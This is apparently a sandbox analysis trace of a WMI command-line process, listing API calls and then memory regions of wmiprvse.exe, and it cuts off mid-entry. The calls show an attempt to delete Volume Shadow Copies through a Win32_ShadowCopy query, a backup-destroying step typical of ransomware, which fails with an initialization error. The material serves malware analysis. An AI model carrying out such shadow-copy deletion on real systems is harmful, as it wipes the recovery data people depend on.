[0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0055.268] lstrlenW (lpString="GET") returned 3 [0055.268] lstrlenW (lpString="delete") returned 6 [0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0055.268] lstrlenW (lpString="LIST") returned 4 [0055.268] lstrlenW (lpString="delete") returned 6 [0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0055.268] lstrlenW (lpString="ASSOC") returned 5 [0055.268] lstrlenW (lpString="delete") returned 6 [0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0055.268] WbemLocator:IUnknown:AddRef (This=0xaf0828) returned 0x3 [0055.268] lstrlenW (lpString="") returned 0 [0055.268] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0055.268] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.268] lstrlenW (lpString="XDUWTFONO") returned 9 [0055.268] GetCurrentThreadId () returned 0x814 [0055.268] GetCurrentProcess () returned 0xffffffff [0055.268] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2df860 | out: TokenHandle=0x2df860*=0x298) returned 1 [0055.268] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df85c | out: TokenInformation=0x0, ReturnLength=0x2df85c) returned 0 [0055.268] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x3, TokenInformation=0x2432448, TokenInformationLength=0x118, ReturnLength=0x2df85c | out: TokenInformation=0x2432448, ReturnLength=0x2df85c) returned 1 [0055.268] AdjustTokenPrivileges (in: TokenHandle=0x298, DisableAllPrivileges=0, NewState=0x2432448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0055.269] CloseHandle (hObject=0x298) returned 1 [0055.269] lstrlenW (lpString="GET") returned 3 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0055.269] lstrlenW (lpString="LIST") returned 4 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0055.269] lstrlenW (lpString="SET") returned 3 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0055.269] lstrlenW (lpString="CALL") returned 4 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0055.269] lstrlenW (lpString="ASSOC") returned 5 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0055.269] lstrlenW (lpString="CREATE") returned 6 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0055.269] lstrlenW (lpString="DELETE") returned 6 [0055.269] lstrlenW (lpString="delete") returned 6 [0055.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0055.298] lstrlenA (lpString="") returned 0 [0055.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc26a2, cbMultiByte=-1, lpWideCharStr=0x3c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0055.299] lstrlenA (lpString="") returned 0 [0055.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc26a2, cbMultiByte=-1, lpWideCharStr=0x3c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0055.299] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.299] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0055.299] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x28513f09 | out: _String="Select", _Context=0x28513f09) returned="Select" [0055.299] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x28513f09 | out: _String=0x0, _Context=0x28513f09) returned="*" [0055.299] lstrlenW (lpString="FROM") returned 4 [0055.299] lstrlenW (lpString="*") returned 1 [0055.299] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0055.299] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x28513f09 | out: _String=0x0, _Context=0x28513f09) returned="from" [0055.299] lstrlenW (lpString="FROM") returned 4 [0055.299] lstrlenW (lpString="from") returned 4 [0055.299] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0055.300] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x28513f09 | out: _String=0x0, _Context=0x28513f09) returned="Win32_ShadowCopy" [0055.300] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0055.300] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0055.300] ??0CHString@@QAE@XZ () returned 0x2df7dc [0055.300] GetCurrentThreadId () returned 0x814 [0055.300] SysStringLen (param_1="\\\\") returned 0x2 [0055.300] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0055.301] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0055.301] SysStringLen (param_1="\\") returned 0x1 [0055.301] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0055.301] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0055.301] WbemLocator:IWbemLocator:ConnectServer (in: This=0xaf0828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x100c204 | out: ppNamespace=0x100c204*=0xafd0bc) returned 0x0 [0055.305] CoSetProxyBlanket (pProxy=0xafd0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0055.305] ??1CHString@@QAE@XZ () returned 0x75260504 [0055.305] ??0CHString@@QAE@XZ () returned 0x2df7d4 [0055.305] GetCurrentThreadId () returned 0x814 [0055.305] lstrlenA (lpString="") returned 0 [0055.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc26a2, cbMultiByte=-1, lpWideCharStr=0x3c2860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0055.305] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0055.306] SysStringLen (param_1="") returned 0x0 [0055.306] IWbemServices:ExecQuery (in: This=0xafd0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x2df7d0 | out: ppEnum=0x2df7d0*=0x0) returned 0x80041014 [0057.550] _CxxThrowException () [0057.551] ??1CHString@@QAE@XZ () returned 0x75260504 [0057.551] GetCurrentThreadId () returned 0x814 [0057.551] ??0CHString@@QAE@PBG@Z () returned 0x2df894 [0057.551] ??YCHString@@QAEABV0@PBG@Z () returned 0x2df894 [0057.551] ??0CHString@@QAE@XZ () returned 0x2df758 [0057.551] SysStringLen (param_1="") returned 0x0 [0057.552] CoCreateInstance (in: rclsid=0xfc6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xfc6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x100c21c | out: ppv=0x100c21c*=0xaf0810) returned 0x0 [0057.555] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0xaf0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2df770 | out: MessageText=0x2df770*="Initialization failure\r\n") returned 0x0 [0057.563] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0xaf0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x2df794 | out: MessageText=0x2df794*="WMI") returned 0x0 [0057.563] lstrlenW (lpString="WMI") returned 3 [0057.563] lstrlenW (lpString="Wbem") returned 4 [0057.563] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0057.563] lstrlenW (lpString="WMI") returned 3 [0057.563] lstrlenW (lpString="WMI") returned 3 [0057.563] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0057.563] WbemStatusCodeText:IUnknown:Release (This=0xaf0810) returned 0x0 [0057.563] ??1CHString@@QAE@XZ () returned 0x75260504 [0057.563] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x2defc0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0057.563] FormatMessageW (in: dwFlags=0x2500, lpSource=0x2defc0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x2defbc, nSize=0x0, Arguments=0x2defa8 | out: lpBuffer="晨BERROR:\r\nDescription = %1") returned 0x2e [0057.563] LocalFree (hMem=0x426668) returned 0x0 [0057.563] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0057.563] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2432448, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0057.563] fprintf (in: _File=0x75ed2940, _Format="%s" | out: _File=0x75ed2940) returned 46 [0057.565] fflush (in: _File=0x75ed2940 | out: _File=0x75ed2940) returned 0 [0057.566] ??1CHString@@QAE@XZ () returned 0x1 [0057.566] ??0CHString@@QAE@PBG@Z () returned 0x2df8b4 [0057.566] ??YCHString@@QAEABV0@PBG@Z () returned 0x2df8b4 [0057.566] GetCurrentThreadId () returned 0x814 [0057.566] ??1CHString@@QAE@XZ () returned 0x1 [0057.566] WbemLocator:IUnknown:Release (This=0xafd0bc) returned 0x0 [0057.566] ?Empty@CHString@@QAEXXZ () returned 0x75260504 [0057.572] _kbhit () returned 0x0 [0057.575] ?Empty@CHString@@QAEXXZ () returned 0x75260504 [0057.576] WbemLocator:IUnknown:Release (This=0xaf0828) returned 0x2 [0057.576] WbemLocator:IUnknown:Release (This=0xafd064) returned 0x0 [0057.576] WbemLocator:IUnknown:Release (This=0xafd00c) returned 0x0 [0057.581] WbemLocator:IUnknown:Release (This=0xaf0828) returned 0x1 [0057.581] ?Empty@CHString@@QAEXXZ () returned 0x75260504 [0057.581] WbemLocator:IUnknown:Release (This=0xaf0828) returned 0x0 [0057.584] CoUninitialize () [0057.604] exit (_Code=-2147217388) [0057.604] ??1CHString@@QAE@XZ () returned 0x75260504 [0057.604] ??1CHString@@QAE@XZ () returned 0x75260504 Thread: id = 100 os_tid = 0x780 Thread: id = 101 os_tid = 0x870 Thread: id = 102 os_tid = 0x7a8 Thread: id = 103 os_tid = 0x878 Thread: id = 104 os_tid = 0x87c Process: id = "38" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x381db000" os_pid = "0x874" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "28" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005047a" [0xc000000f] Region: id = 2535 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2536 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2537 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2538 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2539 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2540 start_va = 0x150000 end_va = 0x190fff entry_point = 0x150000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmiprvse.exe") Region: id = 2541 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2542 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2543 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2544 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2545 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2546 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2547 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2548 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2549 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2550 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2551 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2552 start_va = 0x3f0000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2553 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2554 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2555 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2556 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2557 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2558 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2559 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2560 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2561 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2562 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2563 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2564 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2565 start_va = 0x74a90000 end_va = 0x74a9efff entry_point = 0x74a90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\SysWOW64\\ncobjapi.dll" (normalized: "c:\\windows\\syswow64\\ncobjapi.dll") Region: id = 2566 start_va = 0x74aa0000 end_va = 0x74ab7fff entry_point = 0x74aa0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2567 start_va = 0x74ac0000 end_va = 0x74b55fff entry_point = 0x74ac0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2568 start_va = 0x75170000 end_va = 0x751cbfff entry_point = 0x75170000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2569 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2570 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2571 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2572 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2573 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2574 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2575 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2576 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2577 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2578 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2579 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2580 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2581 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2582 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2583 start_va = 0x840000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2584 start_va = 0x850000 end_va = 0x9d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2585 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2586 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2587 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2588 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2589 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2590 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2591 start_va = 0x2a0000 end_va = 0x35ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 2592 start_va = 0x360000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2593 start_va = 0x500000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2594 start_va = 0x790000 end_va = 0x7cffff entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 2595 start_va = 0x9e0000 end_va = 0xb60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 2596 start_va = 0xb70000 end_va = 0xe3efff entry_point = 0xb70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2597 start_va = 0xe40000 end_va = 0x1232fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 2598 start_va = 0x74e50000 end_va = 0x74e70fff entry_point = 0x74e50000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2599 start_va = 0x756a0000 end_va = 0x756e4fff entry_point = 0x756a0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2600 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2601 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2602 start_va = 0x1c0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2603 start_va = 0x710000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 2604 start_va = 0x800000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 2605 start_va = 0x1290000 end_va = 0x12cffff entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2606 start_va = 0x12d0000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 2607 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2608 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2609 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2610 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2611 start_va = 0x751d0000 end_va = 0x751d9fff entry_point = 0x751d0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2612 start_va = 0x470000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2613 start_va = 0x1470000 end_va = 0x14affff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 2614 start_va = 0x74c30000 end_va = 0x74c6afff entry_point = 0x74c30000 region_type = mapped_file name = "rsaenh.dll" filename = 